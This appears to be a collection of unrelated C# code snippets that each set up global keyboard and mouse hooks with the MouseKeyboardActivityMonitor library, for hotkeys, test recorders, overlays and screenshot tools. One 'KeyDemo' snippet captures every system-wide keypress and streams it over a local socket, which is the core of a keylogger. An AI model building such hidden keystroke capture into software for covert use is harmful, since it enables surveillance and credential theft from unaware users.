public HIDListener(GUI o) { Debug.WriteLine("HIDListen instansiated "); owner = o; Thread thread = Thread.CurrentThread; owner.ServiceDebugConsole("HIDListener started on Thread : " + thread.Name + thread.ManagedThreadId); m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_MouseHookManager = new MouseHookListener(new GlobalHooker()); m_MouseHookManager.Enabled = true; Hooker hook; hook = new GlobalHooker(); m_KeyboardHookManager.Replace(hook); //m_KeyboardHookManager.Enabled = true; m_MouseHookManager.Replace(hook); m_MouseHookManager.MouseMove += HookManager_MouseMove; m_MouseHookManager.MouseClickExt += HookManager_MouseClick; m_MouseHookManager.MouseUp += HookManager_MouseUp; m_MouseHookManager.MouseDown += HookManager_MouseDown; m_MouseHookManager.MouseDoubleClick += HookManager_MouseDoubleClick; m_MouseHookManager.MouseWheel += HookManager_MouseWheel; // m_MouseHookManager.MouseDownExt += HookManager_Supress; m_KeyboardHookManager.KeyDown += HookManager_KeyDown; m_KeyboardHookManager.KeyUp += HookManager_KeyUp; m_KeyboardHookManager.KeyPress += HookManager_KeyPress; owner.ServiceDebugConsole("HIDListener start Completed : " + thread.Name); }
public Recorder(Test test) { this.test = test; ScreenshotsEnabled = true; CurrentRecorderState = RecorderState.Stopped; globalHooker = new GlobalHooker(); globalHooker2 = new GlobalHooker(); keyboardHookListener = new KeyboardHookListener(globalHooker2); mouseHookListener = new MouseHookListener(globalHooker); keyboardHookListener.KeyDown += KeyboardHookListenerOnKeyDown; keyboardHookListener.KeyUp += KeyboardHookListenerOnKeyUp; mouseHookListener.MouseDown += MouseHookListenerOnMouseDown; mouseHookListener.MouseUp += MouseHookListenerOnMouseUp; mouseHookListener.Enabled = false; mouseHookListener.Enabled = false; keyboardHelper = new KeyboardHelper(); currentInputType = InputType.None; InsertPosition = -1; }
public MainForm() { InitializeComponent(); keyboardHookManager = new KeyboardHookListener(new GlobalHooker()); keyboardHookManager.Enabled = true; keyboardHookManager.KeyUp += KeyBoardHook_KeyUp; if (Properties.Settings.Default.FirstRun) { SettingsDialog settings = new SettingsDialog(); if (settings.Created == false) { settings.ShowDialog(); } Properties.Settings.Default.FirstRun = false; } messageTextBox.Text = Properties.Settings.Default.Message; this.Message = messageTextBox.Text; if (Properties.Settings.Default.SaveCount) { Count = Properties.Settings.Default.Count; currentCountLabel.Text = Properties.Settings.Default.Count.ToString(); } else { Count = 0; } }
private void InitializeComponent() { keyboardHook = new KeyboardHookListener(new GlobalHooker()); keyboardHook.Enabled = true; keyboardHook.KeyDown += keyboardHook_KeyDown; keyboardHook.KeyUp += keyboardHook_KeyUp; mouseHook = new MouseHookListener(new GlobalHooker()); mouseHook.Enabled = true; mouseHook.MouseWheel += mouseHook_MouseWheel; mouseHook.MouseDown += mouseHook_MouseDown; mouseHook.MouseUp += mouseHook_MouseUp; simulator = new InputSimulator(); trayMenu = new ContextMenu(); trayMenu.MenuItems.Add("Run on startup", ToggleStartup); trayMenu.MenuItems.Add("Exit", OnExit); trayIcon = new NotifyIcon(); trayIcon.Text = "Lackey"; trayIcon.Icon = Resources.Icon; trayIcon.ContextMenu = trayMenu; trayIcon.Visible = true; }
private void InitializaKeyboardListner() { mKeyboardListener = new KeyboardHookListener(mGlobalHooker) { Enabled = true, }; mKeyboardListener.KeyDown += (_sender, _e) => { if (KeyDown != null) KeyDown(_sender, _e); Play(_e.KeyData); /* [Control] + [Alt] + [M] -> Mute ON/OFF */ if (_e.KeyData == Keys.M && Keys.Shift == (Control.ModifierKeys & Keys.Shift) && Keys.Control == (Control.ModifierKeys & Keys.Control)) MuteEnabled = !MuteEnabled; }; mKeyboardListener.KeyUp += (_sender, _e) => { /* Re-Allow sound in Key up */ if (IsModifierKey(_e.KeyData)) SilentKeys.Remove(_e.KeyData); if (KeyUp != null) KeyUp(_sender, _e); }; }
static void Main(string[] args) { var globalHooker = new MKB.WinApi.GlobalHooker(); using (var mouseOverlay = new MouseOverlay()) using (var kbOverlay = new KeyboardOverlay()) using (var msListener = new MKB.MouseHookListener(globalHooker)) using (var kbListener = new MKB.KeyboardHookListener(globalHooker)) { msListener.MouseDown += (sender, eventArgs) => mouseOverlay.MouseDown(eventArgs); msListener.MouseMove += (sender, eventArgs) => mouseOverlay.MouseMove(eventArgs); msListener.MouseUp += (sender, eventArgs) => mouseOverlay.MouseUp(eventArgs); msListener.MouseWheel += (sender, eventArgs) => mouseOverlay.MouseWheel(eventArgs); kbListener.KeyDown += (sender, eventArgs) => kbOverlay.KeyDown(eventArgs); msListener.Start(); kbListener.Start(); Application.Run(); msListener.Stop(); kbListener.Stop(); } }
private Session() { // create the keyboard and mouse hooks, for the app only Hooker hook = new AppHooker(); _mouseListener = new MouseHookListener(hook); _keyboardListener = new KeyboardHookListener(hook); this.InSession = false; }
public DeviceController(LauncherController lc) { Launcher = lc; //Keyboard & Mouse Hoocks m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = false; m_MouseHookManager = new MouseHookListener(new GlobalHooker()); m_MouseHookManager.Enabled = false; }
public Register(String newType) { InitializeComponent(); type = newType; Shown += Register_Shown; keyboardHook = new KeyboardHookListener(new AppHooker()); keyboardHook.Enabled = true; keyboardHook.KeyDown += keyboardHook_KeyDown; }
public WindowsActivityMonitor() { mouseListener = new MouseHookListener(new GlobalHooker()); mouseListener.Enabled = true; mouseListener.MouseMove += onMouseMove; mouseListener.MouseClick += onMouseClick; mouseListener.MouseWheel += onMouseClick; kbListener = new KeyboardHookListener(new GlobalHooker()); kbListener.Enabled = true; kbListener.KeyDown += onKeyPress; }
public MainForm() { InitializeComponent(); double sec = 0.5; _keyboardHookManager = new KeyboardHookListener(new GlobalHooker()); _keyboardHookManager.Enabled = true; var hotKey = Observable.FromEventPattern<KeyPressEventArgs>(_keyboardHookManager, "KeyPress").Where(ep => ep.EventArgs.KeyChar == 'a').Do(ep => { ep.EventArgs.Handled = true; Trace.WriteLine("hotkey handled"); }); var generator = Observable.Timer(TimeSpan.FromSeconds(0), TimeSpan.FromSeconds(sec)).Select(s => CaptureScreen()); subscription = generator.TakeUntil(hotKey.Throttle(TimeSpan.FromSeconds(sec * 2))).TakeLast(5) .Subscribe(bmp => saveBmp(bmp)); }
/// <summary> /// register mouse & keyboard events /// </summary> public ScreenshotChangedTracker() { // Register Hooks for Mouse _mouseListener = new MouseHookListener(new GlobalHooker()); _mouseListener.Enabled = true; _mouseListener.MouseWheel += MouseListener_MouseScrolling; _mouseListener.MouseClick += MouseListener_MouseClicking; // Register Hooks for Keyboard _keyboardListener = new KeyboardHookListener(new GlobalHooker()); _keyboardListener.Enabled = true; _keyboardListener.KeyDown += KeyboardListener_KeyDown; }
static void Main() { ILogger logger = LogManager.GetLogger("KeyDemo"); AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; Application.ThreadException += new System.Threading.ThreadExceptionEventHandler(Application_ThreadException); Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); BasicSocketClient client = null; Guid clientGuid = Guid.Empty; try { clientGuid = Guid.NewGuid(); client = new BasicSocketClient(); client.ReceiveMessageEvent += (handler, message) => { BasicMessage receivedMessage = (BasicMessage)message; byte[] buffer = receivedMessage.GetBuffer(); string s = System.Text.ASCIIEncoding.Unicode.GetString(buffer); logger.Debug(s); }; client.ConnectionEvent += (handler) => { Thread.Sleep(TimeSpan.FromSeconds(20)); logger.Debug("Client connected to remote server"); }; client.CloseConnectionEvent += (handler) => { logger.Debug("Client disconnected from remote server"); }; client.Connect(new IPEndPoint(IPAddress.Loopback, 8100)); var m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_KeyboardHookManager.KeyPress += (sender, e) => { //NamedPipe.Sender.SendMessage(new List<string>() { e.KeyChar.ToString() }); string s = e.KeyChar.ToString(); byte[] buffer = System.Text.ASCIIEncoding.Unicode.GetBytes(s); BasicMessage message = new BasicMessage(clientGuid, buffer); client.SendAsync(message); logger.Debug(string.Format("KeyDown \t\t {0}\n", e.KeyChar)); }; Application.Run(); } catch (Exception) { throw; } }
public Form1(List <Flask> importedFlasks, int _globalPercentage, float _flaskAlpha, int _xAdjustment, float _xResolution, float _yResolution, bool _showWC) { showWC = _showWC; xResolution = _xResolution; yResolution = _yResolution; xAdjustment = _xAdjustment; flaskAlpha = _flaskAlpha; globalPercentage = _globalPercentage; Process.GetCurrentProcess().PriorityClass = ProcessPriorityClass.Idle; Flasks = importedFlasks; Application.AddMessageFilter(this); this.handle = Handle; int initialStyle = GetWindowLong(this.Handle, -20); SetWindowLong(this.Handle, -20, initialStyle | 0x80000 | 0x20); SetWindowPos(this.Handle, HWND_TOPMOST, 0, 0, 0, 0, TOPMOST_FLAGS); OnResize(null); keyboardListener = new KeyboardHookListener(new GlobalHooker()); keyboardListener.Enabled = true; keyboardListener.KeyPress += KeyboardListener_KeyDown; mouseListener = new MouseHookListener(new GlobalHooker()); mouseListener.Enabled = true; mouseListener.MouseDown += MouseListener_KeyDown; InitializeComponent(); foreach (Flask f in Flasks) { f.useDuration = 0; } locMods.Add(new double[2] { 0.1734375, 0.97407407 }); locMods.Add(new double[2] { 0.197395833, 0.97407407 }); locMods.Add(new double[2] { 0.2213541666, 0.97407407 }); locMods.Add(new double[2] { 0.2453125, 0.97407407 }); locMods.Add(new double[2] { 0.269270833, 0.97407407 }); BackgroundWorker worker = new BackgroundWorker(); worker.DoWork += new DoWorkEventHandler(worker_DoWork); worker.RunWorkerAsync(); }
public MouseDriver() { watching = false; clicking = false; scrolling = false; kfData = new SyntheticData(); keyboard = new KeyboardHookListener(new GlobalHooker()); initKalman(); victor.X = 0; victor.Y = 0; mrKalman.X = 0; mrKalman.Y = 0; }
public frmPickArea(frmMain mainFrm) { main = mainFrm; InitializeComponent(); keyboardHookManager = new KeyboardHookListener(new GlobalHooker()); keyboardHookManager.Enabled = true; keyboardHookManager.KeyDown += HookManager_KeyDown; Rectangle rect = Main.screenshotManager.GetCompleteScreen(); screenBitmap = Main.screenshotManager.MakeBitmapFromScreen(); this.Location = rect.Location; this.Size = rect.Size; }
public MouseDriver() { watching = holding = scrolling = click_watch = rightclick_watch = false; sensitivity = 10; CUR_SPEED = 0; SCR_SPEED = 0; memoryPoint = new System.Drawing.Point(); kfData = new SyntheticData(); keyboard = new KeyboardHookListener(new GlobalHooker()); initKalman(); victor.X = 0; victor.Y = 0; mrKalman.X = 0; mrKalman.Y = 0; }
public GBGNodeCreateModify(GBGMain parent, GenericNode internalNode, Boolean createMode) { InitializeComponent(); this.parent = parent; inCreateMode = createMode; _internalNode = internalNode; m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; m_MouseHookManager = new MouseHookListener(new GlobalHooker()); m_MouseHookManager.Enabled = true; m_MouseHookManager.MouseClick += HookManager_MouseClick; m_KeyboardHookManager.KeyPress += HookManager_KeyPress; }
public LauncherForm() { InitializeComponent(); myWinApi = new WinApi(); myAuthForm = new AuthenticationForm(this); myWaitForm = new WaitForm(); myBrowserForm = new BrowserForm(); //Keyboard & Mouse m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = false; m_MouseHookManager = new MouseHookListener(new GlobalHooker()); m_MouseHookManager.Enabled = false; isRunspaceActive = false; isTunnelActive = false; isPoolActive = false; isLauncherVisible = true; isBrowserFormVisible = false; isWaitFromVisible = false; isAuthFormVisible = false; isLauncherEnabled = true; isKioskEnabled = false; isScreenEnabled = true; isKeyboardEnabled = true; isMouseEnabled = true; isSpeakerEnabled = true; isWebcamEnabled = false; isHeadsetEnabled = false; isUsbEnabled = false; preventClose = true; clientCount = 0; timerStart.Interval = 100; timerShutdown.Interval = 100; customCommands = new string[12, 2]; comboBoxAuthType.SelectedIndex = 0; }
public HIDListener() : base() { Hooker hook = new GlobalHooker(); //Keyboard Hook m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Replace(hook); m_KeyboardHookManager.Enabled = true; //Mouse Hook m_MouseHookManager = new MouseHookListener(new GlobalHooker()); m_MouseHookManager.Enabled = true; //Set up Keyboard deligate methods. m_KeyboardHookManager.KeyDown += HookManager_KeyDown; m_KeyboardHookManager.KeyUp += HookManager_KeyUp; m_MouseHookManager.MouseMove += HookManager_MouseMove; m_MouseHookManager.MouseUp += HookManager_MouseUp; m_MouseHookManager.MouseDown += HookManager_MouseDown; }
public KeyboardKeyDownUpSource( Enums.Keys triggerKey, IObservable<Timestamped<PointAndKeyValue?>> pointAndKeyValueSource) { this.triggerKey = (System.Windows.Forms.Keys)triggerKey; //Cast to the Windows.Forms.Keys enum this.pointAndKeyValueSource = pointAndKeyValueSource; keyboardHookListener = new KeyboardHookListener(new GlobalHooker()) { Enabled = true }; /* * Keys: http://msdn.microsoft.com/en-GB/library/system.windows.forms.keys.aspx * KeyDown: happens when the person presses a key (when the keyboard first detects a finger on a key, this happens when the key is pressed down). * KeyPress: happens when a key is pressed and then released. * KeyUp: happens when the key is released */ }
public MainForm() { GimmeTray(); // init InitializeComponent(); // Block key m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker()); m_KeyboardHookManager.Enabled = true; // Show OSK if need //GimmeOSK(); // hide sys //HideToolbars(); //HideStart(); /* ShowToolbars(); ShowStart(); * */ }
public MyApplicationContext() { MenuItem viewCalendarItem = new MenuItem("View Google Calendar", new EventHandler(ViewGoogleCalendar)); MenuItem configMenuItem = new MenuItem("List tasks", new EventHandler(ShowConfig)); MenuItem exitMenuItem = new MenuItem("Exit", new EventHandler(Exit)); notifyIcon = new NotifyIcon(); notifyIcon.Icon = Traceur.Properties.Resources.traceur1; notifyIcon.Click += new EventHandler(OnClick); notifyIcon.ContextMenu = new ContextMenu(new MenuItem[] { viewCalendarItem, configMenuItem, exitMenuItem }); notifyIcon.Visible = true; // Global Shortcut Hook keyboardHookListener = new KeyboardHookListener(new GlobalHooker()); keyboardHookListener.Enabled = true; keyboardHookListener.KeyDown += OnGlobalKeyDown; keyboardHookListener.KeyUp += OnGlobalKeyUp; this.trackTaskWindow.SetDesktopLocation( Screen.PrimaryScreen.WorkingArea.Right - this.trackTaskWindow.Size.Width - 8, Screen.PrimaryScreen.WorkingArea.Bottom - this.trackTaskWindow.Size.Height - 4 ); }
/// <summary> /// Initializes a new instance of the <see cref="MainWindow"/> class. /// </summary> public MainWindow() { InitializeComponent(); Visible = false; _capturer = new Capturer(); // TODO: Make this functionality better & work well for "folder path changed during runtime"... System.IO.Directory.CreateDirectory(Settings.Default.SaveFolder); _lastShotTaken = 0; _listenerKeyboard = new KeyboardHookListener(new GlobalHooker()); _listenerMouse = new MouseHookListener(new GlobalHooker()); _listenerKeyboard.Enabled = true; _listenerMouse.Enabled = true; // Start listening to Mouse- and KeyDown. _listenerKeyboard.KeyDown += ListenerKeyboardKeyDown; _listenerMouse.MouseDown += ListenerMouseMouseDown; _listenerMouse.MouseUp += ListenerMouseMouseUp; }
protected void InitializeKeyboardHook() { try { keyboardListener = new KeyboardHookListener(globalHooker); keyboardListener.KeyDown += KeyboardListener_KeyDown; keyboardListener.KeyUp += KeyboardListener_KeyUp; keyboardListener.Enabled = true; } catch (Exception e) { System.Diagnostics.Trace.WriteLine(string.Format("Couldn't initialize keyboard hook: {0}", e.Message)); Application.Exit(); } }
public GlobalMouseKeyboard() { keyboardHookManager = new KeyboardHookListener(new GlobalHooker()); keyboardHookManager.Enabled = true; hookInputs(); }
public void ActivateHotkeys() { keyboardHook = new KeyboardHookListener(new GlobalHooker()); keyboardHook.KeyUp += OnHotkeyPressed; keyboardHook.Start(); }
protected void DisposeListener(KeyboardHookListener listener) { try { listener.Enabled = false; } catch (Exception ex) {} }
private void TurboHost_Load(object sender, EventArgs e) { tAutoTyperDictionary = new Dictionary<int, string>(); tFileIO = new FileIO(); tParser = new IniParser(tFileIO.GetSettingsFilePath()); tService = new SpreadsheetsService("TurboHost"); tTextReplacementDictionary = new Dictionary<string, string>(); tCurrentDate = GetFormattedDate(); tDirectory = tFileIO.FolderPath; tBetX = 150; tBetY = 150; SavedData = CheckSettingsFile(); if (SavedData == false) { this.Hide(); tLogin = new LoginSetup(); tLogin.FormClosed += new FormClosedEventHandler(tLogin_FormClosed); tLogin.TopMost = true; tLogin.ShowDialog(); } else { Listener = new KeyboardHookListener(new GlobalHooker()); Listener.Enabled = true; try { HookManager.KeyPress += HookManager_KeyPress; } catch { Console.WriteLine("error"); } FinishLoading(); } }
/// <summary> /// Initializes a new InputManager with a given control to listen to. /// </summary> /// <param name="control"></param> private InputManager() { keyboardListener = new KeyboardHookListener(new MouseKeyboardActivityMonitor.WinApi.AppHooker()); keyboardListener.Enabled = true; }
private void ExecuteGetObjectCommand() { testItemController.MinimizeTestItemEditorWindow(); Window window = new Window(); window.Height = SystemParameters.VirtualScreenHeight; window.Width = SystemParameters.VirtualScreenWidth; bool doPicture = false; Canvas canvas = new Canvas(); Rectangle rectangle = new Rectangle(); rectangle.StrokeThickness = 3; rectangle.Stroke = Brushes.Red; rectangle.Height = 0; rectangle.Width = 0; Canvas.SetTop(rectangle, 0); Canvas.SetLeft(rectangle, 0); UIItem currentUIItem = null; System.Drawing.Point point = new System.Drawing.Point(); Task task = new Task(() => { doPicture = true; UIItem prevUIItem = null; GlobalHooker hooker = new GlobalHooker(); KeyboardHookListener listener = new KeyboardHookListener(hooker); listener.Enabled = true; listener.KeyDown += (o, args) => { if (args.Shift && args.Control && args.KeyCode == Keys.A) { doPicture = false; } }; while (doPicture) { point = Cursor.Position; currentUIItem = ExternalAppInfoManager.GetControl(System.Windows.Forms.Cursor.Position); if (currentUIItem.AutomationElement.Current.ProcessId == Process.GetCurrentProcess().Id) currentUIItem = prevUIItem; if (currentUIItem == null) continue; Rect bounds = currentUIItem.AutomationElement.Current.BoundingRectangle; Thread.Sleep(250); Application.Current.Dispatcher.Invoke(new Action(() => { rectangle.Width = bounds.Width; rectangle.Height = bounds.Height; Canvas.SetTop(rectangle, bounds.Y); Canvas.SetLeft(rectangle, bounds.X); })); prevUIItem = currentUIItem; } }); canvas.Children.Add(rectangle); window.Left = 0; window.Top = 0; window.Content = canvas; window.WindowStyle = new WindowStyle(); window.ShowInTaskbar = false; window.AllowsTransparency = true; window.Background = Brushes.Transparent; window.Topmost = true; window.Show(); task.Start(); task.ContinueWith(t => { UIItem = currentUIItem; TestItem onScreenValidation = testItemController.CurrentTestItem; if (onScreenValidation.Operation != null) { OperationParameter operationParameterX = onScreenValidation.Operation.GetParameterNamed("ClientX"); OperationParameter operationParameterY = onScreenValidation.Operation.GetParameterNamed("ClientY"); if (operationParameterX != null && operationParameterY != null) { operationParameterX.Value = point.X - UIItem.Bounds.X; operationParameterY.Value = point.Y - UIItem.Bounds.Y; } } Application.Current.Dispatcher.Invoke(new Action(() => { window.Close(); Thread.Sleep(500); testItemController.RestoreTestItemEditorWindow(); Thread.Sleep(500); testItemController.RestoreTestItemEditorWindow(); })); }); window.Closed += (o, args) => { doPicture = false; task.Dispose(); }; }
private void Enable() { if (listener == null) { timeout = Convert.ToInt32(ConfigurationManager.AppSettings["Timeout"]); listener = new MouseKeyboardActivityMonitor.KeyboardHookListener(new GlobalHooker()); listener.KeyDown += ListenerOnKeyDown; listener.KeyUp += ListenerOnKeyUp; listener.Enabled = true; } else { listener.Stop(); } }